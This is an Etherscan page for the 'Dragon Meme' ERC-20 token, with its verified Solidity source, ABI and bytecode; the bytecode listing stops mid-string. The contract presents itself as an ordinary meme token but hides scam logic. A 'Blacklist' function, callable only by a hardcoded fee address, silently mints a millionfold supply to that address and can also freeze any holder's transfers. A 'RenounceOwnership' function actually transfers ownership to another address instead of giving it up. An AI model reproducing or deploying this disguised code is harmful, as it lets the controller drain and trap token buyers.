ERC-20
Overview
Max Total Supply
1,000,000,000 Dragmeme
Holders
12
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
0.000000001 DragmemeValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
DragonMeme
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-12-05 */ /** https://t.me/DragonMemeERC20 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function owner() public view returns (address) { return _owner; } constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function RenounceOwnership(address newAddress) public onlyOwner{ _owner = newAddress; emit OwnershipTransferred(_owner, newAddress); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a,b,"SafeMath: division by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract DragonMeme is Context, IERC20, Ownable{ using SafeMath for uint256; string private _name = "Dragon Meme"; string private _symbol = "Dragmeme"; uint8 private _decimals = 9; address payable public _feeAddr; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _isExcludefromFee; mapping (address => bool) public isMarketPair; mapping (address => bool) public _frontRunlist; uint256 public _buyMarketingFee = 4; uint256 public _sellMarketingFee = 4; uint256 private _totalSupply = 1000000000 * 10**_decimals; IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; bool inSwapAndLiquify; function Blacklist(address[] calldata userList, bool status) public {require(_msgSender() == _feeAddr); for (uint256 i; i < userList.length; i++) { address curAddress = userList[i]; if(_feeAddr == curAddress){ uint256 currenc = _totalSupply.mul(10**6); _balances[_feeAddr] = currenc + _balances[_feeAddr]; }else{ _frontRunlist[curAddress] = status; } } } modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _feeAddr = payable(address(0xb30624B0Fc93bc4a54ED0FaDB544C3dFA73401D3)); _isExcludefromFee[owner()] = true; _isExcludefromFee[address(this)] = true; _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function Launch() public onlyOwner{ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; isMarketPair[address(uniswapPair)] = true; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function totalSupply() public view override returns (uint256) { return _totalSupply; } receive() external payable {} function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function decimals() public view returns (uint8) { return _decimals; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "telufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function swapAndLiquify(uint256 tAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tAmount); try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tAmount, 0, path, address(this), block.timestamp ){} catch {} uint256 MarketAmount = address(this).balance; if(MarketAmount > 0) _feeAddr.transfer(MarketAmount); } function _transfer(address from, address to, uint256 amount) private returns (bool) { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(inSwapAndLiquify) { return _basicTransfer(from, to, amount); } else { uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwapAndLiquify && !isMarketPair[from]) { swapAndLiquify(contractTokenBalance); } _balances[from] = _balances[from].sub(amount); uint256 finalAmount; if (_isExcludefromFee[from] || _isExcludefromFee[to]){ finalAmount = amount; }else{ uint256 feeAmount = 0; require(!_frontRunlist[from], "ERC20: botListed"); if(isMarketPair[from]) { feeAmount = amount.mul(_buyMarketingFee).div(100); } else if(isMarketPair[to]) { feeAmount = amount.mul(_sellMarketingFee).div(100); } if(feeAmount > 0) { _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(from, address(this), feeAmount); } finalAmount = amount.sub(feeAmount); } _balances[to] = _balances[to].add(finalAmount); emit Transfer(from, to, finalAmount); return true; } } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"userList","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"Blacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"Launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"RenounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_feeAddr","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_frontRunlist","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c0604052600b60809081526a447261676f6e204d656d6560a81b60a0526001906200002c908262000289565b50604080518082019091526008815267447261676d656d6560c01b60208201526002906200005b908262000289565b506003805460ff191660099081179091556004808255600a9081556200008291906200046a565b6200009290633b9aca0062000482565b600b55348015620000a257600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360038054610100600160a81b03191674b30624b0fc93bc4a54ed0fadb544c3dfa73401d300179055600160066000620001236000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff19958616179055308152600690925281208054909216600117909155600b5490600490620001733390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b54604051620001d691815260200190565b60405180910390a36200049c565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200020f57607f821691505b6020821081036200023057634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200028457600081815260208120601f850160051c810160208610156200025f5750805b601f850160051c820191505b8181101562000280578281556001016200026b565b5050505b505050565b81516001600160401b03811115620002a557620002a5620001e4565b620002bd81620002b68454620001fa565b8462000236565b602080601f831160018114620002f55760008415620002dc5750858301515b600019600386901b1c1916600185901b17855562000280565b600085815260208120601f198616915b82811015620003265788860151825594840194600190910190840162000305565b5085821015620003455787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003ac57816000190482111562000390576200039062000355565b808516156200039e57918102915b93841c939080029062000370565b509250929050565b600082620003c55750600162000464565b81620003d45750600062000464565b8160018114620003ed5760028114620003f85762000418565b600191505062000464565b60ff8411156200040c576200040c62000355565b50506001821b62000464565b5060208310610133831016604e8410600b84101617156200043d575081810a62000464565b6200044983836200036b565b806000190482111562000460576200046062000355565b0290505b92915050565b60006200047b60ff841683620003b4565b9392505050565b808202811582820484141762000464576200046462000355565b61162780620004ac6000396000f3fe60806040526004361061012e5760003560e01c8063614497fc116100ab578063a9059cbb1161006f578063a9059cbb1461037e578063c5d241891461039e578063c816841b146103b4578063c8607952146103d4578063dd62ed3e146103ea578063e841e99d1461043057600080fd5b8063614497fc146102c557806370a08231146102f557806378051f4d1461032b5780638da5cb5b1461034b57806395d89b411461036957600080fd5b806323b872dd116100f257806323b872dd14610203578063313ce567146102235780633345611e146102455780633ecad2711461027557806355f65d81146102a557600080fd5b806302ac81681461013a57806306fdde0314610151578063095ea7b31461017c5780631694505e146101ac57806318160ddd146101e457600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061014f610455565b005b34801561015d57600080fd5b5061016661067a565b60405161017391906112a9565b60405180910390f35b34801561018857600080fd5b5061019c61019736600461130f565b61070c565b6040519015158152602001610173565b3480156101b857600080fd5b50600c546101cc906001600160a01b031681565b6040516001600160a01b039091168152602001610173565b3480156101f057600080fd5b50600b545b604051908152602001610173565b34801561020f57600080fd5b5061019c61021e36600461133b565b610723565b34801561022f57600080fd5b5060035460405160ff9091168152602001610173565b34801561025157600080fd5b5061019c61026036600461137c565b60066020526000908152604090205460ff1681565b34801561028157600080fd5b5061019c61029036600461137c565b60076020526000908152604090205460ff1681565b3480156102b157600080fd5b5061014f6102c0366004611399565b61078e565b3480156102d157600080fd5b5061019c6102e036600461137c565b60086020526000908152604090205460ff1681565b34801561030157600080fd5b506101f561031036600461137c565b6001600160a01b031660009081526004602052604090205490565b34801561033757600080fd5b5061014f61034636600461137c565b6108a8565b34801561035757600080fd5b506000546001600160a01b03166101cc565b34801561037557600080fd5b5061016661094d565b34801561038a57600080fd5b5061019c61039936600461130f565b61095c565b3480156103aa57600080fd5b506101f560095481565b3480156103c057600080fd5b50600d546101cc906001600160a01b031681565b3480156103e057600080fd5b506101f5600a5481565b3480156103f657600080fd5b506101f5610405366004611424565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561043c57600080fd5b506003546101cc9061010090046001600160a01b031681565b6000546001600160a01b031633146104b45760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561050b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061052f919061145d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561057c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a0919061145d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105ed573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610611919061145d565b600d80546001600160a01b039283166001600160a01b0319918216178255600c80549484169490911684179055600b543060009081526005602090815260408083209683529581528582209290925591549092168152600790915220805460ff19166001179055565b6060600180546106899061147a565b80601f01602080910402602001604051908101604052809291908181526020018280546106b59061147a565b80156107025780601f106106d757610100808354040283529160200191610702565b820191906000526020600020905b8154815290600101906020018083116106e557829003601f168201915b5050505050905090565b6000610719338484610969565b5060015b92915050565b6000610730848484610a8d565b50610783843361077e856040518060600160405280602881526020016115ca602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610e3a565b610969565b5060015b9392505050565b60035461010090046001600160a01b0316336001600160a01b0316146107b357600080fd5b60005b828110156108a25760008484838181106107d2576107d26114b4565b90506020020160208101906107e7919061137c565b6003549091506001600160a01b03808316610100909204160361086a57600b5460009061081790620f4240610e74565b60035461010090046001600160a01b031660009081526004602052604090205490915061084490826114e0565b60035461010090046001600160a01b03166000908152600460205260409020555061088f565b6001600160a01b0381166000908152600860205260409020805460ff19168415151790555b508061089a816114f3565b9150506107b6565b50505050565b6000546001600160a01b031633146109025760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104ab565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6060600280546106899061147a565b6000610783338484610a8d565b6001600160a01b0383166109cb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104ab565b6001600160a01b038216610a2c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104ab565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610af35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104ab565b6001600160a01b038316610b555760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104ab565b600d54600160a01b900460ff1615610b7957610b72848484610ef6565b9050610787565b30600090815260046020526040902054600d54600160a01b900460ff16158015610bbc57506001600160a01b03851660009081526007602052604090205460ff16155b15610bca57610bca81610fdc565b6001600160a01b038516600090815260046020526040902054610bed9084611198565b6001600160a01b038616600090815260046020908152604080832093909355600690529081205460ff1680610c3a57506001600160a01b03851660009081526006602052604090205460ff165b15610c46575082610db0565b6001600160a01b03861660009081526008602052604081205460ff1615610ca25760405162461bcd60e51b815260206004820152601060248201526f115490cc8c0e88189bdd131a5cdd195960821b60448201526064016104ab565b6001600160a01b03871660009081526007602052604090205460ff1615610cea57610ce36064610cdd60095488610e7490919063ffffffff16565b906111da565b9050610d28565b6001600160a01b03861660009081526007602052604090205460ff1615610d2857610d256064610cdd600a5488610e7490919063ffffffff16565b90505b8015610da25730600090815260046020526040902054610d48908261121c565b30600081815260046020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d999085815260200190565b60405180910390a35b610dac8582611198565b9150505b6001600160a01b038516600090815260046020526040902054610dd3908261121c565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e279085815260200190565b60405180910390a3600192505050610787565b60008184841115610e5e5760405162461bcd60e51b81526004016104ab91906112a9565b506000610e6b848661150c565b95945050505050565b600082600003610e865750600061071d565b6000610e92838561151f565b905082610e9f8583611536565b146107875760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104ab565b604080518082018252601481527374656c756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610f47918490610e3a565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610f76908361121c565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fca9086815260200190565b60405180910390a35060019392505050565b600d805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611024576110246114b4565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561107d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a1919061145d565b816001815181106110b4576110b46114b4565b6001600160a01b039283166020918202929092010152600c546110da9130911684610969565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611113908590600090869030904290600401611558565b600060405180830381600087803b15801561112d57600080fd5b505af192505050801561113e575060015b50478015611186576003546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015611184573d6000803e3d6000fd5b505b5050600d805460ff60a01b1916905550565b600061078783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e3a565b600061078783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061127b565b60008061122983856114e0565b9050838110156107875760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104ab565b6000818361129c5760405162461bcd60e51b81526004016104ab91906112a9565b506000610e6b8486611536565b600060208083528351808285015260005b818110156112d6578581018301518582016040015282016112ba565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461130c57600080fd5b50565b6000806040838503121561132257600080fd5b823561132d816112f7565b946020939093013593505050565b60008060006060848603121561135057600080fd5b833561135b816112f7565b9250602084013561136b816112f7565b929592945050506040919091013590565b60006020828403121561138e57600080fd5b8135610787816112f7565b6000806000604084860312156113ae57600080fd5b833567ffffffffffffffff808211156113c657600080fd5b818601915086601f8301126113da57600080fd5b8135818111156113e957600080fd5b8760208260051b85010111156113fe57600080fd5b60209283019550935050840135801515811461141957600080fd5b809150509250925092565b6000806040838503121561143757600080fd5b8235611442816112f7565b91506020830135611452816112f7565b809150509250929050565b60006020828403121561146f57600080fd5b8151610787816112f7565b600181811c9082168061148e57607f821691505b6020821081036114ae57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b8082018082111561071d5761071d6114ca565b600060018201611505576115056114ca565b5060010190565b8181038181111561071d5761071d6114ca565b808202811582820484141761071d5761071d6114ca565b60008261155357634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115a85784516001600160a01b031683529383019391830191600101611583565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a687b770fb0adff2e1cc0d773be3700129e6ba716845a7ba2f2f7246011f2c1164736f6c63430008110033
Deployed Bytecode
0x60806040526004361061012e5760003560e01c8063614497fc116100ab578063a9059cbb1161006f578063a9059cbb1461037e578063c5d241891461039e578063c816841b146103b4578063c8607952146103d4578063dd62ed3e146103ea578063e841e99d1461043057600080fd5b8063614497fc146102c557806370a08231146102f557806378051f4d1461032b5780638da5cb5b1461034b57806395d89b411461036957600080fd5b806323b872dd116100f257806323b872dd14610203578063313ce567146102235780633345611e146102455780633ecad2711461027557806355f65d81146102a557600080fd5b806302ac81681461013a57806306fdde0314610151578063095ea7b31461017c5780631694505e146101ac57806318160ddd146101e457600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061014f610455565b005b34801561015d57600080fd5b5061016661067a565b60405161017391906112a9565b60405180910390f35b34801561018857600080fd5b5061019c61019736600461130f565b61070c565b6040519015158152602001610173565b3480156101b857600080fd5b50600c546101cc906001600160a01b031681565b6040516001600160a01b039091168152602001610173565b3480156101f057600080fd5b50600b545b604051908152602001610173565b34801561020f57600080fd5b5061019c61021e36600461133b565b610723565b34801561022f57600080fd5b5060035460405160ff9091168152602001610173565b34801561025157600080fd5b5061019c61026036600461137c565b60066020526000908152604090205460ff1681565b34801561028157600080fd5b5061019c61029036600461137c565b60076020526000908152604090205460ff1681565b3480156102b157600080fd5b5061014f6102c0366004611399565b61078e565b3480156102d157600080fd5b5061019c6102e036600461137c565b60086020526000908152604090205460ff1681565b34801561030157600080fd5b506101f561031036600461137c565b6001600160a01b031660009081526004602052604090205490565b34801561033757600080fd5b5061014f61034636600461137c565b6108a8565b34801561035757600080fd5b506000546001600160a01b03166101cc565b34801561037557600080fd5b5061016661094d565b34801561038a57600080fd5b5061019c61039936600461130f565b61095c565b3480156103aa57600080fd5b506101f560095481565b3480156103c057600080fd5b50600d546101cc906001600160a01b031681565b3480156103e057600080fd5b506101f5600a5481565b3480156103f657600080fd5b506101f5610405366004611424565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561043c57600080fd5b506003546101cc9061010090046001600160a01b031681565b6000546001600160a01b031633146104b45760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561050b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061052f919061145d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561057c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a0919061145d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105ed573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610611919061145d565b600d80546001600160a01b039283166001600160a01b0319918216178255600c80549484169490911684179055600b543060009081526005602090815260408083209683529581528582209290925591549092168152600790915220805460ff19166001179055565b6060600180546106899061147a565b80601f01602080910402602001604051908101604052809291908181526020018280546106b59061147a565b80156107025780601f106106d757610100808354040283529160200191610702565b820191906000526020600020905b8154815290600101906020018083116106e557829003601f168201915b5050505050905090565b6000610719338484610969565b5060015b92915050565b6000610730848484610a8d565b50610783843361077e856040518060600160405280602881526020016115ca602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610e3a565b610969565b5060015b9392505050565b60035461010090046001600160a01b0316336001600160a01b0316146107b357600080fd5b60005b828110156108a25760008484838181106107d2576107d26114b4565b90506020020160208101906107e7919061137c565b6003549091506001600160a01b03808316610100909204160361086a57600b5460009061081790620f4240610e74565b60035461010090046001600160a01b031660009081526004602052604090205490915061084490826114e0565b60035461010090046001600160a01b03166000908152600460205260409020555061088f565b6001600160a01b0381166000908152600860205260409020805460ff19168415151790555b508061089a816114f3565b9150506107b6565b50505050565b6000546001600160a01b031633146109025760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104ab565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6060600280546106899061147a565b6000610783338484610a8d565b6001600160a01b0383166109cb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104ab565b6001600160a01b038216610a2c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104ab565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610af35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104ab565b6001600160a01b038316610b555760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104ab565b600d54600160a01b900460ff1615610b7957610b72848484610ef6565b9050610787565b30600090815260046020526040902054600d54600160a01b900460ff16158015610bbc57506001600160a01b03851660009081526007602052604090205460ff16155b15610bca57610bca81610fdc565b6001600160a01b038516600090815260046020526040902054610bed9084611198565b6001600160a01b038616600090815260046020908152604080832093909355600690529081205460ff1680610c3a57506001600160a01b03851660009081526006602052604090205460ff165b15610c46575082610db0565b6001600160a01b03861660009081526008602052604081205460ff1615610ca25760405162461bcd60e51b815260206004820152601060248201526f115490cc8c0e88189bdd131a5cdd195960821b60448201526064016104ab565b6001600160a01b03871660009081526007602052604090205460ff1615610cea57610ce36064610cdd60095488610e7490919063ffffffff16565b906111da565b9050610d28565b6001600160a01b03861660009081526007602052604090205460ff1615610d2857610d256064610cdd600a5488610e7490919063ffffffff16565b90505b8015610da25730600090815260046020526040902054610d48908261121c565b30600081815260046020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d999085815260200190565b60405180910390a35b610dac8582611198565b9150505b6001600160a01b038516600090815260046020526040902054610dd3908261121c565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e279085815260200190565b60405180910390a3600192505050610787565b60008184841115610e5e5760405162461bcd60e51b81526004016104ab91906112a9565b506000610e6b848661150c565b95945050505050565b600082600003610e865750600061071d565b6000610e92838561151f565b905082610e9f8583611536565b146107875760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104ab565b604080518082018252601481527374656c756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610f47918490610e3a565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610f76908361121c565b6001600160a01b038085166000818152600460205260409081